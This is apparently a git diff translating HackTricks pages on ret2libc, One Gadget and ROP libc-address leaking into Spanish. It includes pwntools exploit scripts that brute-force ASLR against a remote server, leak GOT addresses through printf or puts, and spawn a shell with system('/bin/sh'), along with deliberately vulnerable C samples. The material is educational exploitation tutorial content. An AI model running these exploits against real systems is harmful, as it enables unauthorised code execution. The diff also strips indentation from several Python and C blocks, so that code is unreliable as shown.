necesidad de conocer la dirección completa.\ +> Con `fgets` no funciona porque **agrega un byte nulo (0x00) al final**. -## Protections +## Protecciones -- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register. +- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Si la pila no es ejecutable, esto no ayudará ya que necesitamos colocar el shellcode en la pila y saltar para ejecutarlo. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Estos pueden dificultar encontrar una instrucción para saltar a esp o cualquier otro registro. -## References +## Referencias - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode) - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md index c213407d3..032ea4ed8 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md @@ -2,103 +2,90 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Basic Information** +## **Información Básica** -The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention. +La esencia de **Ret2Libc** es redirigir el flujo de ejecución de un programa vulnerable a una función dentro de una biblioteca compartida (por ejemplo, **system**, **execve**, **strcpy**) en lugar de ejecutar shellcode proporcionado por el atacante en la pila. El atacante elabora una carga útil que modifica la dirección de retorno en la pila para apuntar a la función de la biblioteca deseada, mientras también organiza que cualquier argumento necesario esté correctamente configurado de acuerdo con la convención de llamada. -### **Example Steps (simplified)** +### **Pasos de Ejemplo (simplificados)** -- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh) -- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function +- Obtener la dirección de la función a llamar (por ejemplo, system) y el comando a llamar (por ejemplo, /bin/sh) +- Generar una cadena ROP para pasar el primer argumento apuntando a la cadena de comando y el flujo de ejecución a la función -## Finding the addresses - -- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with: +## Encontrando las direcciones +- Suponiendo que la `libc` utilizada es la de la máquina actual, puedes encontrar dónde se cargará en memoria con: ```bash ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) ``` - -If you want to check if the ASLR is changing the address of libc you can do: - +Si quieres verificar si el ASLR está cambiando la dirección de libc, puedes hacer: ```bash for i in `seq 0 20`; do ldd ./ | grep libc; done ``` - -- Knowing the libc used it's also possible to find the offset to the `system` function with: - +- Conocer la libc utilizada también permite encontrar el desplazamiento a la función `system` con: ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` - -- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with: - +- Conociendo la libc utilizada, también es posible encontrar el desplazamiento a la cadena `/bin/sh` función con: ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` +### Usando gdb-peda / GEF -### Using gdb-peda / GEF - -Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** : - +Conociendo la libc utilizada, también es posible usar Peda o GEF para obtener la dirección de la función **system**, de la función **exit** y de la cadena **`/bin/sh`** : ```bash p system p exit find "/bin/sh" ``` +### Usando /proc/\/maps -### Using /proc/\/maps +Si el proceso está creando **hijos** cada vez que hablas con él (servidor de red), intenta **leer** ese archivo (probablemente necesitarás ser root). -If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root). - -Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process. +Aquí puedes encontrar **exactamente dónde se carga la libc** dentro del proceso y **dónde se va a cargar** para cada hijo del proceso. ![](<../../../images/image (853).png>) -In this case it is loaded in **0xb75dc000** (This will be the base address of libc) +En este caso se carga en **0xb75dc000** (Esta será la dirección base de libc) -## Unknown libc +## libc desconocida -It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used: +Puede ser posible que **no conozcas la libc que está cargando el binario** (porque podría estar ubicada en un servidor al que no tienes acceso). En ese caso, podrías abusar de la vulnerabilidad para **filtrar algunas direcciones y encontrar qué biblioteca libc** se está utilizando: {{#ref}} rop-leaking-libc-address/ {{#endref}} -And you can find a pwntools template for this in: +Y puedes encontrar una plantilla de pwntools para esto en: {{#ref}} rop-leaking-libc-address/rop-leaking-libc-template.md {{#endref}} -### Know libc with 2 offsets +### Conocer libc con 2 offsets -Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**. +Consulta la página [https://libc.blukat.me/](https://libc.blukat.me/) y usa un **par de direcciones** de funciones dentro de la libc para averiguar la **versión utilizada**. -## Bypassing ASLR in 32 bits +## Bypass de ASLR en 32 bits -These brute-forcing attacks are **only useful for 32bit systems**. - -- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems): +Estos ataques de fuerza bruta son **solo útiles para sistemas de 32 bits**. +- Si el exploit es local, puedes intentar forzar la dirección base de libc (útil para sistemas de 32 bits): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - -- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function. +- Si atacas un servidor remoto, podrías intentar **forzar la dirección de la función `usleep` de `libc`**, pasando como argumento 10 (por ejemplo). Si en algún momento el **servidor tarda 10s extra en responder**, encontraste la dirección de esta función. ## One Gadget -Execute a shell just jumping to **one** specific **address** in libc: +Ejecuta un shell saltando a **una** **dirección** específica en libc: {{#ref}} one-gadget.md {{#endref}} -## x86 Ret2lib Code Example - -In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server: +## x86 Ret2lib Código de Ejemplo +En este ejemplo, el brute-force de ASLR está integrado en el código y el binario vulnerable se encuentra en un servidor remoto: ```python from pwn import * @@ -106,60 +93,59 @@ c = remote('192.168.85.181',20002) c.recvline() for off in range(0xb7000000, 0xb8000000, 0x1000): - p = "" - p += p32(off + 0x0003cb20) #system - p += "CCCC" #GARBAGE, could be address of exit() - p += p32(off + 0x001388da) #/bin/sh - payload = 'A'*0x20010 + p - c.send(payload) - c.interactive() +p = "" +p += p32(off + 0x0003cb20) #system +p += "CCCC" #GARBAGE, could be address of exit() +p += p32(off + 0x001388da) #/bin/sh +payload = 'A'*0x20010 + p +c.send(payload) +c.interactive() ``` +## x64 Ret2lib Código de Ejemplo -## x64 Ret2lib Code Example - -Check the example from: +Consulta el ejemplo de: {{#ref}} ../ {{#endref}} -## ARM64 Ret2lib Example +## ARM64 Ret2lib Ejemplo -In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated. +En el caso de ARM64, la instrucción ret salta a donde apunta el registro x30 y no a donde apunta el registro de pila. Así que es un poco más complicado. -Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones). +Además, en ARM64 una instrucción hace lo que la instrucción hace (no es posible saltar en medio de instrucciones y transformarlas en nuevas). -Check the example from: +Consulta el ejemplo de: {{#ref}} ret2lib-+-printf-leak-arm64.md {{#endref}} -## Ret-into-printf (or puts) +## Ret-into-printf (o puts) -This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**. +Esto permite **filtrar información del proceso** al llamar a `printf`/`puts` con algunos datos específicos colocados como argumento. Por ejemplo, poner la dirección de `puts` en la GOT en una ejecución de `puts` **filtrará la dirección de `puts` en memoria**. ## Ret2printf -This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible): +Esto básicamente significa abusar de un **Ret2lib para transformarlo en una vulnerabilidad de cadenas de formato de `printf`** utilizando el `ret2lib` para llamar a printf con los valores para explotarlo (suena inútil pero es posible): {{#ref}} ../../format-strings/ {{#endref}} -## Other Examples & references +## Otros Ejemplos y referencias - [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) - - Ret2lib, given a leak to the address of a function in libc, using one gadget +- Ret2lib, dado un leak a la dirección de una función en libc, usando un gadget - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canario para luego llamar a puts y filtrarlo. Con el canario se crea un gadget ROP para llamar a puts y filtrar la dirección de puts de la GOT y luego un gadget ROP para llamar a `system('/bin/sh')` - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget. +- 64 bits, ASLR habilitado, sin canario, desbordamiento de pila en main desde una función hija. Gadget ROP para llamar a puts y filtrar la dirección de puts de la GOT y luego llamar a un gadget. - [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html) - - 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget. +- 64 bits, sin pie, sin canario, sin relro, nx. Usa la función write para filtrar la dirección de write (libc) y llama a un gadget. - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) - - Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`. +- Usa una cadena de formato para filtrar el canario de la pila y un desbordamiento de búfer para llamar a system (está en la GOT) con la dirección de `/bin/sh`. - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check). +- 32 bits, sin relro, sin canario, nx, pie. Abusa de un mal indexado para filtrar direcciones de libc y heap desde la pila. Abusa del desbordamiento de búfer para hacer un ret2lib llamando a `system('/bin/sh')` (se necesita la dirección del heap para eludir una verificación). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md index 5b24ece5f..43a9e3584 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md @@ -2,36 +2,32 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\ -However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. +[**One Gadget**](https://github.com/david942j/one_gadget) permite obtener un shell en lugar de usar **system** y **"/bin/sh". One Gadget** encontrará dentro de la biblioteca libc alguna forma de obtener un shell (`execve("/bin/sh")`) utilizando solo una **dirección**.\ +Sin embargo, normalmente hay algunas restricciones, las más comunes y fáciles de evitar son como `[rsp+0x30] == NULL` Como controlas los valores dentro del **RSP** solo tienes que enviar algunos valores NULL más para que la restricción sea evitada. ![](<../../../images/image (754).png>) - ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` - -To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded. +Para la dirección indicada por One Gadget, necesitas **agregar la dirección base donde se carga `libc`**. > [!TIP] -> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements). +> One Gadget es una **gran ayuda para las técnicas de Arbitrary Write 2 Exec** y puede **simplificar las cadenas ROP** **ya que solo necesitas llamar a una dirección (y cumplir con los requisitos)**. ### ARM64 -The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**. +El repositorio de github menciona que **ARM64 es compatible** con la herramienta, pero al ejecutarla en la libc de Kali 2023.3 **no encuentra ningún gadget**. ## Angry Gadget -From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\ -If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try! - +Del [**repositorio de github**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspirado por [OneGadget](https://github.com/david942j/one_gadget), esta herramienta está escrita en python y utiliza [angr](https://github.com/angr/angr) para probar restricciones para gadgets que ejecutan `execve('/bin/sh', NULL, NULL)`\ +¡Si te has quedado sin gadgets para probar de OneGadget, Angry Gadget ofrece muchos más con restricciones complicadas para probar! ```bash pip install angry_gadget angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md index a9cfca917..8d29b651e 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md @@ -2,65 +2,58 @@ {{#include ../../../banners/hacktricks-training.md}} -## Ret2lib - NX bypass with ROP (no ASLR) - +## Ret2lib - Bypass de NX con ROP (sin ASLR) ```c #include void bof() { - char buf[100]; - printf("\nbof>\n"); - fgets(buf, sizeof(buf)*3, stdin); +char buf[100]; +printf("\nbof>\n"); +fgets(buf, sizeof(buf)*3, stdin); } void main() { - printfleak(); - bof(); +printfleak(); +bof(); } ``` - -Compile without canary: - +Compilar sin canario: ```bash clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector # Disable aslr echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` +### Encontrar offset -### Find offset +### offset x30 -### x30 offset - -Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c). +Creando un patrón con **`pattern create 200`**, usándolo y verificando el offset con **`pattern search $x30`** podemos ver que el offset es **`108`** (0x6c).
-Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**: +Echando un vistazo a la función principal desensamblada, podemos ver que nos gustaría **saltar** a la instrucción para saltar a **`printf`** directamente, cuyo offset desde donde se carga el binario es **`0x860`**:
-### Find system and `/bin/sh` string +### Encontrar la cadena system y `/bin/sh` -As the ASLR is disabled, the addresses are going to be always the same: +Como ASLR está deshabilitado, las direcciones van a ser siempre las mismas:
-### Find Gadgets +### Encontrar Gadgets -We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**. - -Using rooper an interesting gadget was found: +Necesitamos tener en **`x0`** la dirección de la cadena **`/bin/sh`** y llamar a **`system`**. +Usando rooper se encontró un gadget interesante: ``` 0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret; ``` - -This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**. +Este gadget cargará `x0` de **`$sp + 0x18`** y luego cargará las direcciones x29 y x30 de sp y saltará a x30. Así que con este gadget podemos **controlar el primer argumento y luego saltar a system**. ### Exploit - ```python from pwn import * from time import sleep @@ -72,8 +65,8 @@ binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh system = libc.sym["system"] def expl_bof(payload): - p.recv() - p.sendline(payload) +p.recv() +p.sendline(payload) # Ret2main stack_offset = 108 @@ -90,80 +83,72 @@ p.sendline(payload) p.interactive() p.close() ``` - -## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack - +## Ret2lib - Bypass de NX, ASL y PIE con filtraciones de printf desde la pila ```c #include void printfleak() { - char buf[100]; - printf("\nPrintf>\n"); - fgets(buf, sizeof(buf), stdin); - printf(buf); +char buf[100]; +printf("\nPrintf>\n"); +fgets(buf, sizeof(buf), stdin); +printf(buf); } void bof() { - char buf[100]; - printf("\nbof>\n"); - fgets(buf, sizeof(buf)*3, stdin); +char buf[100]; +printf("\nbof>\n"); +fgets(buf, sizeof(buf)*3, stdin); } void main() { - printfleak(); - bof(); +printfleak(); +bof(); } ``` - -Compile **without canary**: - +Compilar **sin canario**: ```bash clang -o rop rop.c -fno-stack-protector -Wno-format-security ``` +### PIE y ASLR pero sin canario -### PIE and ASLR but no canary +- Ronda 1: +- Fuga de PIE desde la pila +- Abusar de bof para volver a main +- Ronda 2: +- Fuga de libc desde la pila +- ROP: ret2system -- Round 1: - - Leak of PIE from stack - - Abuse bof to go back to main -- Round 2: - - Leak of libc from the stack - - ROP: ret2system +### Fugas de Printf -### Printf leaks - -Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses: +Estableciendo un punto de interrupción antes de llamar a printf, es posible ver que hay direcciones para regresar al binario en la pila y también direcciones de libc:
-Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address: +Probando diferentes offsets, el **`%21$p`** puede filtrar una dirección binaria (bypass de PIE) y el **`%25$p`** puede filtrar una dirección de libc:
-Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.** +Restando la dirección de libc filtrada con la dirección base de libc, es posible ver que el **offset** de la **dirección filtrada desde la base es `0x49c40`.** -### x30 offset +### offset x30 -See the previous example as the bof is the same. +Ver el ejemplo anterior ya que el bof es el mismo. -### Find Gadgets +### Encontrar Gadgets -Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**. - -Using rooper another interesting gadget was found: +Como en el ejemplo anterior, necesitamos tener en **`x0`** la dirección de la cadena **`/bin/sh`** y llamar a **`system`**. +Usando rooper se encontró otro gadget interesante: ``` 0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret; ``` - -This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**. +Este gadget cargará `x0` desde **`$sp + 0x78`** y luego cargará las direcciones x29 y x30 desde sp y saltará a x30. Así que con este gadget podemos **controlar el primer argumento y luego saltar a system**. ### Exploit - ```python from pwn import * from time import sleep @@ -172,15 +157,15 @@ p = process('./rop') # For local binary libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6") def leak_printf(payload, is_main_addr=False): - p.sendlineafter(b">\n" ,payload) - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - if is_main_addr: - response = response[:-4] + b"0000" - return int(response, 16) +p.sendlineafter(b">\n" ,payload) +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +if is_main_addr: +response = response[:-4] + b"0000" +return int(response, 16) def expl_bof(payload): - p.recv() - p.sendline(payload) +p.recv() +p.sendline(payload) # Get main address main_address = leak_printf(b"%21$p", True) @@ -213,5 +198,4 @@ p.sendline(payload) p.interactive() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index fb453a1ba..259698413 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -1,84 +1,77 @@ -# Leaking libc address with ROP +# Filtrando la dirección de libc con ROP {{#include ../../../../banners/hacktricks-training.md}} -## Quick Resume +## Resumen Rápido -1. **Find** overflow **offset** -2. **Find** `POP_RDI` gadget, `PUTS_PLT` and `MAIN` gadgets -3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me)) -4. With the library, **calculate the ROP and exploit it** +1. **Encontrar** el **offset** de desbordamiento +2. **Encontrar** el gadget `POP_RDI`, los gadgets `PUTS_PLT` y `MAIN` +3. Usar los gadgets anteriores para **filtrar la dirección de memoria** de puts u otra función de libc y **encontrar la versión de libc** ([descárgalo](https://libc.blukat.me)) +4. Con la biblioteca, **calcular el ROP y explotarlo** -## Other tutorials and binaries to practice +## Otros tutoriales y binarios para practicar -This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ -Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) +Este tutorial va a explotar el código/binario propuesto en este tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ +Otros tutoriales útiles: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) -## Code - -Filename: `vuln.c` +## Código +Nombre del archivo: `vuln.c` ```c #include int main() { - char buffer[32]; - puts("Simple ROP.\n"); - gets(buffer); +char buffer[32]; +puts("Simple ROP.\n"); +gets(buffer); - return 0; +return 0; } ``` ```bash gcc -o vuln vuln.c -fno-stack-protector -no-pie ``` +## ROP - Plantilla para filtrar LIBC -## ROP - Leaking LIBC template - -Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script: +Descarga el exploit y colócalo en el mismo directorio que el binario vulnerable y proporciona los datos necesarios al script: {{#ref}} rop-leaking-libc-template.md {{#endref}} -## 1- Finding the offset - -The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`): +## 1- Encontrar el offset +La plantilla necesita un offset antes de continuar con el exploit. Si se proporciona alguno, ejecutará el código necesario para encontrarlo (por defecto `OFFSET = ""`): ```bash ################### ### Find offset ### ################### OFFSET = ""#"A"*72 if OFFSET == "": - gdb.attach(p.pid, "c") #Attach and continue - payload = cyclic(1000) - print(r.clean()) - r.sendline(payload) - #x/wx $rsp -- Search for bytes that crashed the application - #cyclic_find(0x6161616b) # Find the offset of those bytes - return +gdb.attach(p.pid, "c") #Attach and continue +payload = cyclic(1000) +print(r.clean()) +r.sendline(payload) +#x/wx $rsp -- Search for bytes that crashed the application +#cyclic_find(0x6161616b) # Find the offset of those bytes +return ``` - -**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console: - +**Ejecuta** `python template.py` se abrirá una consola GDB con el programa que se está bloqueando. Dentro de esa **consola GDB** ejecuta `x/wx $rsp` para obtener los **bytes** que iban a sobrescribir el RIP. Finalmente, obtén el **offset** usando una consola de **python**: ```python from pwn import * cyclic_find(0x6161616b) ``` - ![](<../../../../images/image (1007).png>) -After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\ +Después de encontrar el offset (en este caso 40), cambia la variable OFFSET dentro de la plantilla usando ese valor.\ `OFFSET = "A" * 40` -Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF. +Otra forma sería usar: `pattern create 1000` -- _ejecutar hasta ret_ -- `pattern seach $rsp` desde GEF. -## 2- Finding Gadgets - -Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**. +## 2- Encontrando Gadgets +Ahora necesitamos encontrar gadgets ROP dentro del binario. Estos gadgets ROP serán útiles para llamar a `puts` para encontrar la **libc** que se está utilizando, y más tarde para **lanzar el exploit final**. ```python PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts MAIN_PLT = elf.symbols['main'] @@ -89,108 +82,98 @@ log.info("Main start: " + hex(MAIN_PLT)) log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` +El `PUTS_PLT` es necesario para llamar a la **función puts**.\ +El `MAIN_PLT` es necesario para llamar a la **función main** nuevamente después de una interacción para **explotar** el desbordamiento **nuevamente** (rondas infinitas de explotación). **Se utiliza al final de cada ROP para llamar al programa nuevamente**.\ +El **POP_RDI** es necesario para **pasar** un **parámetro** a la función llamada. -The `PUTS_PLT` is needed to call the **function puts**.\ -The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\ -The **POP_RDI** is needed to **pass** a **parameter** to the called function. +En este paso no necesitas ejecutar nada, ya que todo será encontrado por pwntools durante la ejecución. -In this step you don't need to execute anything as everything will be found by pwntools during the execution. - -## 3- Finding libc library - -Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address. +## 3- Encontrar la biblioteca libc +Ahora es el momento de encontrar qué versión de la **libc** se está utilizando. Para hacerlo, vamos a **filtrar** la **dirección** en memoria de la **función** `puts` y luego vamos a **buscar** en qué **versión de la biblioteca** se encuentra la versión de puts en esa dirección. ```python def get_addr(func_name): - FUNC_GOT = elf.got[func_name] - log.info(func_name + " GOT @ " + hex(FUNC_GOT)) - # Create rop chain - rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) +FUNC_GOT = elf.got[func_name] +log.info(func_name + " GOT @ " + hex(FUNC_GOT)) +# Create rop chain +rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - #Send our rop-chain payload - #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment - print(p.clean()) # clean socket buffer (read all and print) - p.sendline(rop1) +#Send our rop-chain payload +#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment +print(p.clean()) # clean socket buffer (read all and print) +p.sendline(rop1) - #Parse leaked address - recieved = p.recvline().strip() - leak = u64(recieved.ljust(8, "\x00")) - log.info("Leaked libc address, "+func_name+": "+ hex(leak)) - #If not libc yet, stop here - if libc != "": - libc.address = leak - libc.symbols[func_name] #Save libc base - log.info("libc base @ %s" % hex(libc.address)) +#Parse leaked address +recieved = p.recvline().strip() +leak = u64(recieved.ljust(8, "\x00")) +log.info("Leaked libc address, "+func_name+": "+ hex(leak)) +#If not libc yet, stop here +if libc != "": +libc.address = leak - libc.symbols[func_name] #Save libc base +log.info("libc base @ %s" % hex(libc.address)) - return hex(leak) +return hex(leak) get_addr("puts") #Search for puts address in memmory to obtains libc base if libc == "": - print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") - p.interactive() +print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)") +p.interactive() ``` - -To do so, the most important line of the executed code is: - +Para hacerlo, la línea más importante del código ejecutado es: ```python rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` +Esto enviará algunos bytes hasta que **sobrescribir** el **RIP** sea posible: `OFFSET`.\ +Luego, se establecerá la **dirección** del gadget `POP_RDI` para que la siguiente dirección (`FUNC_GOT`) se guarde en el registro **RDI**. Esto se debe a que queremos **llamar a puts** **pasándole** la **dirección** de `PUTS_GOT` ya que la dirección en memoria de la función puts se guarda en la dirección apuntada por `PUTS_GOT`.\ +Después de eso, se llamará a `PUTS_PLT` (con `PUTS_GOT` dentro del **RDI**) para que puts **lea el contenido** dentro de `PUTS_GOT` (**la dirección de la función puts en memoria**) y lo **imprima**.\ +Finalmente, **la función main se llama de nuevo** para que podamos explotar el desbordamiento nuevamente. -This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\ -Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\ -After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will 